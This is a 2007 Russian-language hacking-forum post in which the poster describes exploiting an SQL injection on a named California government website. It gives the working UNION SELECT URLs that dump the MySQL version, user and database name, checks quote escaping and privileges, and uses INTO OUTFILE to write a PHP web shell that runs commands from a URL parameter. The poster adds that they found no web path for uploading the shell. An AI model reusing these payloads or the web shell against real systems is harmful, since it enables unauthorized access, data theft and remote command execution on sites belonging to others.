
03.07.2007, 15:44
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами:
10248806
Репутация:
2371
|
|
Нашел скульку на gocalif.ca.gov с PR - 7..
Думал будут денюшки =)
Не тут то было...
Скульку то я нашел...
Код:
http://gocalif.ca.gov/page.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6/*
Mysql version - 4.1.20-log
MySQL user - cttc@206.188.24.66
MySQL database - cttc_site
Экранирования кавычек нету:
Код:
http://gocalif.ca.gov/page.php?id=-1+union+select+1,2,3,'Antichat%20-%20imho%20the%20best%20(c)%20b00zy_c0d3r',5,6/*
Даже права есть...
Код:
http://gocalif.ca.gov/page.php?id=-1+union+select+1,2,3,'We%20have%20every%20right',5,6+from+mysql.user/*
File-priv тоже есть...проверили на /tmp/
Код:
http://gocalif.ca.gov/page.php?id=-1+union+select+1,2,3,'%3C?php%20system($_GET[cmd]);%20?%3E',5,6+from+mysql.user+into+outfile+'/tmp/antichat.php'/*
Но вот пути для заливки шелла я не нашел =(
|
|
|